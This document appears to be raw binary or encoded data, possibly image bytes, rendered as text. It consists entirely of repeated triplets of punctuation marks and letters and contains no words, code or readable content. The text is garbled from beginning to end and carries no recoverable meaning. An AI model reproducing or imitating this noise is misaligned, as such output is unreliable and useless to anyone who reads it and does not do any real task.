%%%+++:::EEE^^^^^^EEE---"""111...%%%%%%&&&((((((...FFFHHHBBBEEE444111...,,,***333111000@@@===888555666///%%%%%%(((---!!!"""&&&+++222999GGGSSS[[[[[[BBB***$$$)))"""  777999WWWOOOPPPTTTUUUWWWYYYTTTXXXTTTQQQNNNMMM***333111000666...&&&%%%))))))&&&+++555666222555888TTTPPPPPPSSSXXXSSSHHHGGGJJJOOORRRMMMHHHDDD>>>;;;@@@%%%)))***,,,***+++!!! """///222[[[YYYTTTQQQWWWfffqqqzzzzzzaaaJJJ???AAAAAABBBHHHQQQWWWPPPLLL;;;111111444333444EEE111;;;///(((###RRRSSSRRROOOSSSeee444111777<<<;;;===:::666333000HHHFFFCCCCCCCCC000///888===111444CCCDDD777666777+++&&&444BBBOOOLLLIIIFFFBBB??????  ###???KKKNNNJJJ???;;;(((111'''###***000 ,,,@@@III>>>666***444333"""'''888444111777<<<;;;AAA>>>:::777777666222(((''' 000LLLXXX[[[WWWLLL888 """!!!PPPYYYNNNFFF;;;555:::<<<>>>BBBEEEFFFFFFBBBGGGYYYUUURRRXXX]]]]]]===:::666333000''' ###&&&---///---******+++***JJJHHHGGGDDD999888>>>AAAAAA???>>>GGGLLL@@@DDD,,,---!!! !!!---:::777]]]ZZZUUUSSSwwwzzzvvvlllWWW:::444333888<<>>???666---000((('''(((+++333:::DDDKKK???>>><<<777666888!!!(((%%% !!!===NNNQQQKKK888%%%111111... ...GGGAAA;;;///%%%---000''' 222)))$$$,,,///,,,333999<<<:::666555444//////000444+++---"""...JJJ[[[^^^XXXEEE222)))......,,, 777111,,,  )))%%%***555===AAA888111000666999:::???KKKDDD<<<;;;DDDMMMPPPMMMTTTZZZ^^^[[[TTTTTT111'''###*********((()))''')))(((######JJJIII:::<<>>DDDJJJJJJNNN))) &&&///666***QQQPPPKKKwwwdddQQQHHHMMMMMMKKKRRRUUUSSSMMMEEE===;;;>>>MMMfff```[[[OOO>>>666888### 666333>>>HHHNNNLLLKKKPPP---000777<<<;;;222******,,,(((---666===;;;999>>>HHHKKKRRRVVVUUULLLDDDDDDFFFBBB???IIIKKKOOOHHHAAA;;;333///...000444666:::444666..."""$$$...///444555777888888777777======333666444---+++!!!$$$  999MMMSSSNNN222***>>>BBB)))!!!$$$@@@IIIKKKCCC222$$$%%%,,,))) /// $$$---000777<<<;;;???+++...,,,%%%###(((""""""!!!EEEYYY___[[[@@@,,,%%%###777;;;???###000:::<<<333@@@444444;;;///%%%///:::111((()))(((%%%&&&'''&&&111;;;AAA@@@???DDDNNNQQQXXX]]]\\\SSSLLLLLLNNNJJJGGG///222555///((("""###MMMMMMNNNHHH>>>>>>===BBBEEEDDDEEE===111 """######"""###((((((JJJHHHAAA^^^KKKDDDCCCWWWZZZ___bbbiiibbbPPPEEEIIIHHH@@@CCC^^^iiijjjbbbRRREEEEEE111###   DDD666888 222>>>MMMPPPMMMDDD)))111444<<<:::***###$$$%%%&&&cccOOO;;;:::@@@    ---<<>>>>>???WWWaaaWWWIIIIIIFFFCCC///+++$$$"""+++444333777,,,(((&&&///444:::<<<:::999666***,,,222444999;;; ###  CCCPPPSSSHHH###$$$555***555MMMTTT@@@,,,+++111%%%)))111 )))111444<<<:::777000***+++111222&&& CCCPPPSSSHHH###!!!+++%%%!!! %%% &&&\\\cccNNN::::::@@@+++###+++555***---;;;666(((***)))###%%%222@@@CCC@@@999IIIRRRUUU]]][[[LLLDDDEEEFFFGGG___jjj```000000---***  IIILLL@@@<<>>UUUmmmttt```LLLKKKMMMDDD...  BBB::::::999@@@    )))111@@@GGGJJJBBB666------:::WWWjjjbbbLLL;;;     '''///555888::::::555)))'''+++,,,---555DDD@@@:::BBBBBB111***///111111------666:::999///444111+++&&&(((///666666///+++((($$$***---222 ###''',,,,,,$$$ ***HHHIII999&&& :::222&&&***GGG[[[RRR===,,, '''+++...  (((!!!$$$***((( ###***HHHIII999&&&  !!!(((+++###++++++999VVVjjjaaaLLL<<<000---,,,---888===???333+++,,,777;;;(((%%%$$$$$$---555:::>>>AAAAAA<<<000///333444666>>>MMMIIIDDDLLL***###"""IIIEEEEEEBBBFFFFFFGGGHHH<<>>DDD777444444888;;;777???OOOVVVYYYQQQEEE<<<===JJJggg{{{sss]]](((111666222  <<>>    +++888IIIOOOGGG///))))))'''+++222EEEOOOSSSPPP=== """&&&'''###""" ###&&&,,,666999666444???BBB:::888666;;;999111+++---//////444666CCCFFFGGG))))))$$$$$$%%%///222444666222&&&!!!'''***,,,111///+++&&& 888BBB...  888 ###666@@@DDDAAA...&&&&&& (((+++"""888BBB...   ***000)))'''(((%%%***222EEEOOOSSSPPP>>>///%%%###***777777...111000000///###!!!###''',,,---)))((('''))),,,444>>>AAA???===GGGKKKDDDBBB@@@EEE!!!,,,///000---LLLLLLLLLLLLLLLIII<<<777999999444444""" @@@BBBBBBDDD;;;777.........333888888EEEXXX^^^VVV???888999777<<>>:::777  ///===NNNRRR===...+++555999;;;:::---)))999KKKKKK   !!!"""%%%(((---000333666222...222111333===DDD>>>666...)))***---555???JJJJJJGGGFFF(((%%%$$$((()))&&&!!!))))))%%%!!!$$$,,,'''###%%%###,,,BBB///...%%%))),,,******<<<<<<*** ### """&&&)))$$$//////333;;;,,,)))444888:::999---)))999LLLKKK:::+++%%%'''111444000+++)))&&&"""!!!!!!"""###$$$######'''(((+++///444777;;;???;;;777;;;;;;===FFFNNNIIIAAA(((222333//////---...MMMJJJGGGBBB???===888555444999  BBBBBB@@@DDD:::222.........///666<<>>:::KKK  999777555......------...333999  $$$...>>>KKKJJJ111+++999MMMOOO<<>>AAA;;;333(((&&&(((---===HHHIIIFFFDDDEEEGGGDDD,,,***------#########$$$   ,,,555*** 555AAA  """)))>>>@@@---///(((---&&&%%%     ,,,GGG///)))777LLLNNN;;;>>>..."""$$$---888===666)))"""(((---***)))'''###!!! !!!!!!!!!"""###(((...666:::444+++///222...+++,,,...888HHHKKKEEE>>>333&&&000111///---...000---MMMJJJFFFGGGJJJJJJCCC<<<;;;>>>>>>   666888@@@666...............222<<>>555///111222@@@...000999???:::EEERRRWWWRRR:::===RRR\\\YYY>>>444===@@@:::000333555444222.........---------...///111666:::AAANNN###+++===???LLLTTTMMM555000===KKKGGG333&&&444<<<;;;777555---%%% $$$)))000<<<888444000 ###&&&'''---000(((((()))'''...000000555EEEMMMLLLHHH@@@;;;888555333000---000!!!  """(((&&&555555)))!!!%%% ---<<<888###$$$---+++(((&&& !!!...***&&&"""!!! 000888***---+++!!!IIIQQQJJJ333...;;;IIIFFF222%%%333<<<;;;888666...&&&###""" !!!%%%'''&&&%%%!!!!!!!!!!!!!!!!!!"""$$$&&&+++000777CCC@@@<<<888((('''))),,,000111777;;;333333444...666555111***'''IIIGGGNNNRRRQQQNNNKKKIIIGGG!!!DDD,,,---...111333===PPPXXXKKKNNNZZZbbb\\\DDD???MMM[[[XXXDDD666EEEMMMMMM$$$***(((///000333666333.........---------------...555???HHHSSSWWW***""")))===;;;CCCQQQYYYLLL>>>555???QQQJJJ>>>---:::AAAHHHDDD///555888 ###...777AAAFFFDDD;;;///,,,,,,###!!!///>>>@@@999666333///,,,+++///777CCCGGGHHHJJJAAA>>>888;;;555444444$$$(((******%%%###"""$$$ %%%***222444111***$$$%%%000BBB;;;///+++222888555&&&((((((  )))333999666---!!! $$$(((******%%%###"""$$$ """!!! ''')))$$$???NNNVVVJJJ;;;333===PPPIII===---999AAAHHHEEE///666999999222&&&!!! """%%%(((&&&!!!!!!!!!!!!!!!!!!""""""###***555>>>HHHNNNLLLCCC888555555---+++999HHHJJJDDDBBB???;;; ,,,000222444+++((((((NNNQQQLLLHHHGGGGGGIIILLL!!! $$$(((******%%%###"""$$$HHH------------===HHHUUUJJJIIIQQQ___ggg[[[MMMDDDOOOaaa[[[OOO>>>KKKSSSZZZ$$$'''%%%!!! ---### //////000111............---------,,,---...333<<>>333&&&,,,;;;===DDD@@@999666...111666999CCCIIIHHHFFFCCC@@@999;;;777 ***...(((&&&+++)))!!!&&&$$$ %%%555666888444)))DDDBBB(((222555222...***---;;;000$$$+++444;;;:::888111%%% ***...(((&&&+++)))!!!&&&'''&&&...&&&333...666AAANNNXXXMMM888777EEETTTRRRQQQ777AAADDDBBB>>>,,,///;;;===LLLAAA((( """###!!!!!!!!!!!!!!!!!!!!!!!!"""###(((222:::AAAJJJQQQPPPNNNHHHGGG===000666EEEHHHOOOKKKEEECCC;;; """,,,222222000,,,******PPPOOOLLLJJJNNNIIIKKKLLL### ***...(((&&&+++)))III---,,,------AAASSSZZZBBBGGGSSS```iii^^^JJJHHHWWWeeedddbbbIIISSSVVVTTT)))222000,,, 444//////333888:::333000---...------///777>>>IIIIIIKKKSSSZZZ222 """///999GGGPPPLLL333***<<>>CCC999555***...888999555444000///222///"""###!!!''' !!!777@@@>>>:::---!!! %%%!!!$$$)))+++444;;;======666%%%''' ...888999555444000///222:::--- """(((111---"""+++555CCCMMMIII111(((999BBBDDD???:::000FFFOOONNNJJJ===222111666222666111%%% !!!%%%***---&&&###!!!"""!!!"""$$$,,,444??????AAAIIIQQQSSSSSSLLLGGGHHHFFFFFFCCCCCCHHHDDD@@@@@@BBBEEE$$$---+++'''&&&%%%$$$)))---SSSOOOHHHHHHHHHGGGIIIJJJ ...888999555444000VVV,,,...333555CCCOOOIII<<>>GGGHHH???;;;;;;===>>>???AAA;;;///000000+++///444999>>>BBB@@@BBBAAA???999:::999888===???@@@:::;;;777444666((()))...777:::666333...)))***'''$$$111;;;666000666---(((222>>>666,,,:::111---...///000111)))###&&&'''### """((()))...777:::666333888333444///$$$'''(((!!!---+++'''(((000555<<>>???666777888333...222999777OOOXXX[[[[[[ZZZUUUXXX```+++...<<>>OOOOOOLLLHHH999)))***###%%%)))666&&& %%%GGGDDDDDDQQQHHHEEEQQQVVVPPP@@@;;;000111000---222;;;GGGNNNPPPOOOLLLIII===333111111000555>>>CCCCCCBBB:::<<<;;;::::::111'''333333---''' )))""" 888)))&&&555BBB222'''!!! :::777BBBHHHBBB(((###000(((000...---&&&(((((('''&&&'''333===777111)))!!! ###///%%% &&&!!!%%%222>>>KKK@@@(((%%%111AAAFFF:::)))000>>>NNNOOOLLLHHH:::***+++$$$'''777GGGUUUDDD:::444333...%%%###""""""(((222---EEENNNKKKKKKYYYPPPMMMYYY___YYYIIIDDD999;;;;;;777===GGGRRRYYY\\\\\\XXXVVV''' (((SSSRRRJJJNNNKKKDDDLLLTTTSSSLLLNNNNNNMMMLLLDDD???MMM[[[[[[TTT---333???MMM...000777CCCPPP\\\RRR:::666CCCSSSXXXLLL:::AAAOOO```aaa]]]+++###%%%$$$  QQQ```rrreeeOOOGGGCCC444555777000000333777CCCGGGHHHLLLPPPOOOSSS]]],,,222DDD;;;&&&###,,,333EEELLL666///FFFNNNIII@@@AAA@@@+++(((***'''***,,,$$$333EEE888"""  666:::>>>===AAALLLXXXSSSHHHJJJDDD@@@000555BBBEEEEEEEEEDDDEEEGGG@@@@@@BBBBBB<<<555555666777???---000888<<<999222)))***+++$$$)))+++***666...!!!$$$(((000???QQQDDD...&&&"""333>>>IIIEEE000111,,,(((+++......$$$$$$)))'''$$$$$$(((&&&---333555444 &&&'''...(((...@@@777### )))000CCCJJJ555...EEEMMMHHH@@@AAAAAA,,,)))+++(((,,,...BBBQQQcccWWWAAA999555''')))***###$$$''',,,999======AAAFFFEEEIIITTT```\\\QQQSSSNNNJJJ;;;@@@MMMQQQQQQPPPPPPQQQSSSMMMMMM,,,+++''' GGGOOOIII??? '''JJJ???BBBKKKNNNLLLEEE<<<>>>???DDDKKKPPP444@@@;;;---000999???RRRHHH555222;;;BBBUUU\\\FFF???WWW^^^ZZZRRRSSS!!!!!!'''### """***JJJHHHQQQhhhssslll[[[HHH<<<:::===<<<777444555555;;;@@@CCCGGGLLLTTTXXX '''222777DDD555"""%%%222;;;OOOJJJ///777HHHFFF>>>===CCC???%%%&&&///>>>EEE888$$$;;;FFF???/// 555:::BBBGGGIIIGGGJJJIIIJJJHHH@@@<<>>>>>@@@AAA>>>===???777//////555,,,///333555222...//////...333(((+++???333777---,,,555///666)))'''000GGGQQQKKK;;;'''999;;;999<<<111222000(((%%%***...---))),,,$$$###)))...(((!!!&&&!!!$$$***222555666  %%%111,,,  """...333@@@111"""///999MMMHHH---666GGGEEE>>>===CCC???&&&'''000@@@GGG;;;999BBBZZZddd^^^NNN:::///---111///,,,))))))***111666999===BBBJJJPPPRRRPPPSSSSSSTTTRRRJJJGGGLLLQQQPPPKKKOOONNNKKKKKKMMM+++(((((()))""" %%%>>>AAAFFFHHHEEEBBBCCCCCCBBBHHHOOO @@@555...444???DDDRRRCCC111444@@@KKK^^^ZZZ>>>HHHYYYWWWPPPOOOUUU---,,,### &&&666---ZZZMMMGGGYYYmmm|||}}}kkkWWWHHHEEEJJJEEE<<<666...000222555FFFKKKKKKLLL---222DDD:::***$$$***666???CCC;;;333>>>@@@EEEJJJIII???444'''...BBBRRRIIIIII;;;+++@@@PPPPPP???***  999999:::555555FFFHHHEEEGGGDDD:::??????===;;;999999000333666<<<===>>>@@@888111111222,,,...222111///222444333333777>>>CCC>>>000777222///333BBB:::999,,,&&&777LLL[[[\\\JJJ666'''$$$''''''888;;;---///,,,###((((((&&&%%%"""""" &&&''')))***,,,%%%%%%&&&&&&&&& !!! ***...444:::  &&&  !!!%%%!!!###  (((...@@@666&&&!!!'''333===AAA999111===???DDDJJJIII???444(((///CCCTTTKKKKKK===999JJJ___nnnooo^^^III;;;888===:::111***###%%%(((+++<<>>999:::666222000...111;;;???@@@:::222111222...---999888888777999666222666999<<>>;;;%%%******%%% ###&&&%%%%%%$$$&&&###FFFJJJMMMQQQTTT444AAACCCUUU===///555>>>LLL\\\RRRKKKOOOZZZ]]]fff\\\YYYLLL---$$$ ###)))###%%%BBB444666>>>???LLLccc{{{jjjbbbSSSFFFBBBBBBDDDLLLPPPIIIAAABBB+++===333"""!!!,,,555;;;MMM===555LLLMMM^^^TTTJJJ@@@///***:::???DDD>>>AAA000""" 777OOOXXX[[[SSS>>>666(((!!!&&&666666;;;GGGGGGAAA>>>@@@===333000000444>>>666666666:::777///******+++...///111666333444555777000...888@@@:::...((( 111 ***BBBZZZdddfff^^^((('''---999999444000333///((( !!!%%%!!!###"""$$$%%% 555111'''(((&&&###!!!"""$$$...666111%%% )))""")));;;+++###;;;<<>>999999666999;;;;;;666666777666AAAGGGHHHBBB######""""""###((('''%%%&&&%%%$$$&&&###"""&&&$$$777...111<<>>SSS===...888IIILLLEEE???999,,,+++666<<>>NNN111***999AAAJJJ@@@???---&&&444???@@@RRRGGG;;;""""""***)))333...444,,,///777FFFNNNTTTTTTKKK:::AAA@@@+++  000---,,,,,,%%%&&&...::::::<<<888:::888333///111666888:::444///...------//////222777:::...444,,,///BBBQQQYYY___&&& !!!""" $$$%%%///+++---,,,&&&###%%%!!!###&&&,,,(((...111222000)))$$$#########%%%&&&(((  +++<<<'''///999000...$$$///000CCC888---;;;LLL...(((777???III???>>>,,,%%%444???@@@SSSIII===###%%%---,,,666LLLSSSJJJNNNVVVeeemmmttttttjjjZZZaaa```LLL333...---***(((***  $$$%%%'''###%%%###!!!###&&&,,,(((%%%)))***'''!!! ===MMM]]]@@@999IIIQQQZZZRRRPPP>>>777FFF$$$000000 DDDMMMHHHYYYXXXUUU[[[VVVOOO[[[kkkwww}}}|||rrryyywwwYYY>>>999:::;;;+++333,,,###!!!***,,,777@@@---$$$---;;;@@@VVVJJJ555$$$---;;;@@@LLLLLL;;;)))$$$333;;;666GGG+++(((...***###///???LLLQQQUUUQQQGGGNNNMMM/// 222333AAAMMM@@@:::777;;;666666666777333,,,,,,111111777666...,,,+++,,,***)))+++222;;; ,,,+++(((...***...:::JJJVVV$$$%%%'''$$$%%%333???333$$$"""%%%)))))))))***&&& ###$$$%%%...))) '''(((+++###!!!!!!""" """ ###...)))...DDD999$$$+++111======,,,$$$---!!!***999>>>TTTIII444$$$---;;;AAAMMMMMM<<<+++&&&555>>>999JJJIIIFFFMMMIIIBBBNNN^^^kkkppptttqqqgggnnnlllOOO444 ***777***$$$"""%%% !!!!!!"""###$$$%%%&&&!!! ###    ###<<<333<<>>MMM !!!''':::)))NNNQQQQQQ]]]___bbb]]]AAAEEEOOOVVVhhhpppwww|||oooqqqaaaJJJAAA@@@)))&&&'''###$$$,,,<<>>AAABBBNNNQQQTTTOOO444888BBBIII\\\dddkkkpppdddFFFTTTWWW666 '''&&&%%%"""%%%!!!$$$!!!  +++!!!ZZZWWWDDD555888GGGOOO(((222666 KKKgggjjjgggdddSSS@@@TTTWWWVVVTTTXXXaaapppxxxtttppp|||rrrSSS>>>!!! ###)))444JJJIII...!!!'''///:::QQQ888%%%///:::DDDOOORRR:::###&&&:::777999UUUXXXUUU777'''(((+++***(((---666EEEMMMIIIEEERRRZZZHHH)))&&&'''***(((''';;;:::...111666777444+++(((%%%000777<<<:::111333666666555:::===:::777'''333555444222(((///333000///------!!!$$$)))+++(((  &&&,,,111///''')))  666666'''???&&&***444???BBB :::===:::777'''GGGJJJIIIGGGLLL666EEEMMMIIIEEERRRZZZHHH)))&&&'''***((('''%%%%%%!!!###   $$$)))'''!!!$$$ ++++++ 333(((---888***%%%SSSmmmmmmlllbbbJJJHHHbbb^^^XXXOOONNNTTTeeeuuu}}}iiihhhmmmKKK!!! ###(((;;;OOODDD'''""",,,555:::III///!!!333;;;JJJUUUEEE222 ,,,@@@888AAA[[[[[[[[[QQQ666222---######))):::JJJRRR>>>>>>______CCC!!!###,,, """ (((***&&&''')))***###000............///---'''(((444888999777;;;<<<777111444@@@@@@666&&&@@@===777------###***(((000222...///111222+++$$$###""")))...///---111222 '''<<<111"""'''777---888***%%%&&&@@@@@@@@@666666222--- 111&&& ,,,---###333::: ((('''===oookkkkkkVVVEEE\\\hhhgggllllll___SSSQQQgggvvvfffiiiwww$$$ !!!''',,,RRRQQQ555"""&&&333AAAPPPJJJ***!!!'''666???PPPWWW<<<(((***:::CCCBBBYYY]]]ZZZZZZDDD000<<<;;;@@@AAA444(((&&&<<>>>>>""" $$$333,,,  ###333::: ((('''===BBB??????***000<<<;;;NNNOOOBBB666444 444333$$$333,,,  ###333000:::--- ***000>>>FFFooonnn]]]IIIOOOmmmkkknnnnnnccchhh]]]WWWdddnnnxxx~~~qqqyyy333%%%&&&,,,???NNN>>>((($$$111888<<>>;;;999111###111---KKKIIIMMMLLLAAAFFF"""######***)))###***...,,,+++:::***000000:::--- ***000>>>FFFBBBBBB111###AAA???PPPPPPFFFKKK@@@;;;HHHRRR\\\bbbVVV!!!###***... !!!000 000000:::***:::;;;$$$###!!!(((???CCCDDDaaaJJJKKKbbbmmmppprrrnnnhhhbbbKKKQQQccckkkpppzzz~~~{{{}}}\\\FFF:::222222CCC555((("""(((<<<<<>>---CCCYYYTTTKKK...---666,,,222EEEFFFEEE///  """......$$$%%%!!! ###$$$###&&&%%%)))'''>>>CCC;;;888777???666###;;; """......$$$%%%!!! ###&&& $$$$$$###&&& (((555""" '''444@@@555,,,666888<<<<<<;;;###555KKKFFF>>>;;;;;;DDD:::(((@@@SSSFFFEEE///  """......$$$%%%!!! ### $$$$$$###&&&%%%)))'''BBB999444222 (((555""" '''444@@@555<<<''' %%%111888<<<222666***"""444dddccckkkgggjjjaaaEEEPPPkkkrrrnnnaaaEEE000,,,++++++%%%'''222222%%%(((;;;KKKSSSYYY (((000CCC<<<''',,,)))@@@MMMSSSXXXNNNQQQEEE,,,<<>>666%%%@@@GGGDDD777  (((000///&&&### $$$%%%...***%%%!!! 888AAAIIIEEEHHH???###...III (((000///&&&### $$$%%% '''...***%%% ---555;;; (((000CCC<<<''' %%%111888<<<222666777...AAAEEEDDDLLLHHHLLLDDD'''333NNNGGGDDD777  (((000///&&&### $$$%%% '''...***%%%!!! DDDAAA:::777222 ---555;;; (((000CCC<<<'''555 333444666555333,,,111888555<<>>CCC555(((333OOOPPPQQQQQQ333,,,LLLSSSPPPVVV[[[QQQ000 <<>>CCC555 333444666BBB???888""">>>EEEBBBIIINNNDDD===...***<<>>BBB:::777666222 +++666777""" 000>>>CCC555 ((()))666::::::444888 !!!666777>>>EEE555222III@@@\\\dddlllmmmHHH444---+++++++++>>>+++((($$$###+++///<<>>EEEOOOLLL000999AAABBB  """###%%% %%%+++111///&&&***''''''***,,, !!!!!! NNN>>><<<&&&:::BBBJJJ%%% %%%+++111///&&&***''''''***,,,///000---(((###### !!!*** """AAA@@@((()))666:::EEE@@@DDD,,,---CCCDDDKKKQQQBBB???***000999AAABBB  """###%%% %%%+++111///&&&***''''''***,,,///000---(((###### !!!!!!  ------,,,+++---RRRSSSNNNKKK777555111000 *** """AAA@@@(((%%%777===BBB???;;;'''+++222===DDDAAA555 (((,,,'''666,,,,,,+++++++++GGG:::555777..."""""" 777===@@@SSSYYY^^^ZZZWWW'''+++222===DDDAAA555 (((,,,'''  %%%'''!!! !!!$$$)))(((### (((###&&&***'''$$$"""$$$***###"""  JJJ???)))%%%111 555 (((###&&&***'''$$$"""$$$***###"""+++444111,,,(((""" 777===%%%BBBHHHNNNJJJGGG222+++888???JJJQQQMMMCCC---(((,,,'''  %%%'''!!! !!!$$$)))(((### (((###&&&***'''$$$"""$$$***###"""+++444111,,,(((  )))%%% !!!+++>>>HHH!!!RRRZZZ^^^TTTFFFBBBDDD;;;""" 777===%%%DDD444;;;BBBDDD@@@444***+++222>>>>>>444%%%((( ,,,,,,,,,+++++++++@@@;;;666...&&& ,,,000666666333PPPWWW^^^___[[[OOO***+++222>>>>>>444%%%((( $$$)))%%%"""+++   >>>...&&&111$$$)))%%%"""+++333+++'''***''' ,,,000666666333!!!)))???FFFMMMOOOKKK@@@"""666777>>>JJJKKKAAA111((( $$$)))%%%"""+++333+++'''***'''   ---,,,)))### (((<<>>BBB<<<222,,,,,,,,,+++++++++999+++'''"""  &&&>>><<<333!!!***QQQUUUccc^^^TTT>>>***333--->>>BBB<<<222 %%%(((%%%!!!  ;;;$$$!!!  %%%(((%%%"""!!!***555222---&&& &&&>>><<<>>>+++%%%"""444@@@DDDSSSMMMDDD///555???999JJJNNNHHH???!!! %%%(((%%%!!!***555222---&&&  333...,,,333333***---999(((111777///IIIEEE888444///------ &&&>>><<<333!!!***555III...222555GGGBBB222333555///<<<===888--- +++,,,,,,+++++++++;;;%%%"""  000GGG=== ...NNNQQQbbb^^^NNN333333555///<<<===888---    !!!'''"""$$$(((%%%"""   '''"""$$$(((%%%""" &&&111000***$$$:::QQQGGG%%%&&&999===@@@RRRMMM>>>######???AAA;;;<<>>555///)))!!!""" +++777<<<<<<666222000 <<<666222000777000......------ ===FFFJJJvvvFFF777///===,,,"""666BBB;;;''' ,,,,,,++++++++++++HHH333///((("""111HHHFFFSSSKKKYYYHHH===QQQBBB;;;''' $$$(((%%%,,,,,,((("""""" +++///))) !!!***444000333+++ $$$$$$,,,888  '''""" !!!!!! !!! <<>>MMMBBB///###888NNNAAA...###222===;;;777;;;<<<666666444:::???SSSXXXHHH>>><<<<<<888111444;;; %%%***000111000''' """IIIGGG888///------###___TTT &&&%%%,,,,,,++++++++++++AAA666AAA???666)))"""### 444BBB@@@///666444!!! (((...,,,+++***''')))***---,,,***$$$"""((((((&&&''')))***%%%(((,,,***---555'''$$$,,,  !!!)))***%%%###$$$### 111000&&&$$$!!!)))***%%%### '''(((""""""'''%%%&&&&&&***+++%%%###&&&######""" %%%444BBBAAA000888555"""$$$***333999888777666333666888;;;:::888222000777777555777::::::555999===<<<@@@FFF)))***%%%###$$$### &&&###OOOMMMDDD777000111777FFFTTT ,,,,,,++++++++++++:::DDDDDD::::::666...+++ """$$$$$$!!!###''')))))),,,+++'''&&&&&&---......///***%%%!!! """(((,,,---***---333(((%%%###"""///666444333 %%%%%%'''(((    %%%'''((( %%%"""$$$'''######!!! ###)))%%%&&&&&& """%%%%%%""" """"""###"""&&&...222444555888888333333333;;;======>>>999444000000222888===>>><<<>>>EEEJJJLLLLLLFFF%%%###%%%&&&RRRHHHHHHDDD<<<999 //////000444,,,,,,++++++++++++777<<>>AAAEEEFFFGGGHHH>>>999777 777666222333222)))ZZZbbbeeebbbRRR>>>222/////////000,,,,,,++++++++++++888,,,222777666YYYZZZKKK,,,&&&  !!!''')))&&&###(((((())))))***222777>>>666###AAAZZZSSSBBB666***%%% ###)))000((( !!!  $$$>>>666222!!! ///IIIBBB111%%%+++***)))$$$(((***,,,444777)));;;===---,,,&&&---&&&+++%%%((('''$$$!!!!!!!!!!!!""""""$$$%%%((('''$$$###%%%&&&%%%)))***+++...555777555...222888888999999;;;CCCHHHOOOHHHEEEFFF:::888666111888UUUIIIBBB111%%%)))EEECCCgggiiiYYYXXX&&&  999666000//////,,,,,,++++++++++++===>>>;;;======NNNVVV555///*** """""" &&&%%%###%%%(((### ###(((---000222///...EEEUUUKKK<<<000&&&&&& """$$$!!!   !!!''',,,///222///...  333DDD999***!!! )))...888===444***'''  000999555///***111&&&(((&&&'''((((((!!!!!!!!!!!!!!!"""""""""$$$)))---***%%%$$$%%%***------333222000333666222))),,,//////000333999???BBBDDDAAAAAA>>>222333333666BBBYYYjjj999***444***''' KKKKKK\\\eeeaaa[[[WWW ::::::333000000 ,,,+++++++++++++++AAAFFF777444<<<;;;@@@!!!  &&&""""""%%%!!!(((,,,222+++###!!!%%%)))((($$$$$$$$$333BBBKKK999222111...  ###((('''###$$$$$$!!! """000999(((!!!!!!&&& ###000333555666+++'''###(((###!!!333999555&&&###&&&(((&&&"""!!!!!!!!!!!!!!!!!!"""""""""&&&,,,///(((######&&&---555999???999111***+++***&&&***---///111555:::999555666666333222444777<<>>555---+++...;;; ''':::000)))"""<<<<<<;;;>>>===555///***###$$$!!!###!!!###,,,444444111000333///$$$(((//////...///555555888999///+++***000333,,,///))))))+++...111222000))) %%%+++---))) ###+++,,,***+++222333555777---))))))///222,,,%%%&&&### !!!"""&&&+++***""""""   ''':::000CCC<<<999444666;;;;;;;;;>>>=== !!!!!!!!!!!!###'''...+++'''---,,,---777@@@@@@======@@@<<<111,,,555===>>>===>>>EEEEEEGGGIII@@@<<<;;;BBBEEE>>>CCCDDDBBBIIIKKKIIICCC>>>>>>@@@DDDGGGHHHFFF***""""""  <<>>***(((&&&!!!&&&'''%%%...222+++***)))'''---,,,%%%---333888888666888888444111444---(((***000666---,,,+++***...222444:::777 +++######!!!(((((( (((///555555222555555222///222+++&&&)))///###+++'''$$$!!!$$$)))'''""""""(((,,,*** (((### &&&222666444000111,,,&&&(((000888???EEE###  !!!!!! !!!!!!###((((((+++000111///:::>>>666666666444::::::333;;;AAAGGGGGGEEEGGGGGGDDDAAAEEE>>>999<<>><<<000$$$$$$+++---333//////222666:::::: ######$$$%%%***///,,,$$$&&&+++///,,,---000555444333<<<;;;000$$$ %%%%%%###"""!!!%%%******++++++++++++,,,'''###"""+++---(((###///555555999555222555888@@@+++  !!!%%%$$$###(((000222777777999:::111333666555666888<<>>???CCCGGGFFFEEENNNMMMBBB666555111222CCCIIIJJJHHH???BBBHHHDDDDDDHHHLLLPPP+++---AAAIIIHHHKKKTTTOOOGGGDDDGGGJJJSSS&&&222--- ,,,...222222---,,,---EEEHHH===!!!000******111AAANNNIII555!!!%%%))),,, %%%(((***)))***222777444---...***&&&&&&)))...///000111333666777;;;<<<===:::777666333333%%%+++,,,...---***000555444777''''''### ###)))+++,,,---000333444999999;;;888555555222222  $$$$$$'''...---(((###%%%)))***%%% ###...888 '''*** !!!---...,,,///******111&&&222---  ###''''''###"""'''...111333333444===AAA???999:::666222333666;;;===>>>???BBBEEEFFFJJJKKKMMMJJJGGGGGGEEEEEE777111//////000444<<>>+++ """  )))***!!!$$$///000---+++...111444000,,,+++(((''',,,///555888;;;<<>>)))---)))%%%%%%"""!!!&&&***000333777999;;;===999888<<<@@@???555...///&&&(((------%%%"""!!!&&&""" ''',,,)))!!!%%%***%%% ###&&&###%%%###!!!!!! ...### """'''000222)))&&&&&&---888:::666555999<<>>HHH:::...'''!!!((((((%%%""" ***333888===>>>!!!,,,///---%%%***,,,'''%%%&&&+++222000///666======555555666<<>>>>>AAA@@@777<<>>???<<<999:::;;;777555;;;...//////+++''')))'''&&&)))  """...333888...(((&&&)))+++///...//////111555888<<<===:::777888:::%%%###)))222333###$$$"""###!!!!!!''''''"""  $$$&&&'''  ...///---&&&###$$$...666AAAMMMSSSSSSSSSPPPHHHJJJPPPMMMJJJAAA:::111000'''%%%...999;;;===AAAAAAAAAAAACCCGGGJJJNNNOOOLLLIIIJJJLLLHHHGGGMMMVVVXXXHHHDDDIIIHHHBBBDDDDDD@@@<<>>===  999...000888CCCGGG ////////////$$$"""###))) %%%*** GGGVVV]]][[[[[[YYY...***------!!!666*** ######---666>>><<<===BBB222 %%%*** ,,,KKKHHHIIIGGGEEEAAA<<<999...,,,)))''' &&&///000111111000444666<<<777888<<<999444111...///:::CCC///222444444222---(((###"""''',,, %%%*** ,,,333111111&&&$$$!!! ***+++------,,,000333999444555:::777222000(((111666666"""''')))###!!!######""" &&&######666*** ((()))"""$$$"""###))) BBBHHH===''')))222222<<>>999###""" !!!666UUU999111555999777 000000000/// (((!!!  PPPUUUUUUXXXVVVRRR###555 ///777### %%%PPP@@@111---,,,&&&""",,,---888BBB;;;000%%%  &&&+++CCCEEEDDD@@@:::333333... %%%---111555444000///333666555888:::666555333111222111222222444333111///'''$$$%%%&&&&&&"""  &&&++++++...---***%%%(((,,,111000,,,+++///333222555888444333  &&&%%%&&&$$$!!!###"""!!!  $$$)))"""777### ???NNN???000,,,,,, (((!!! 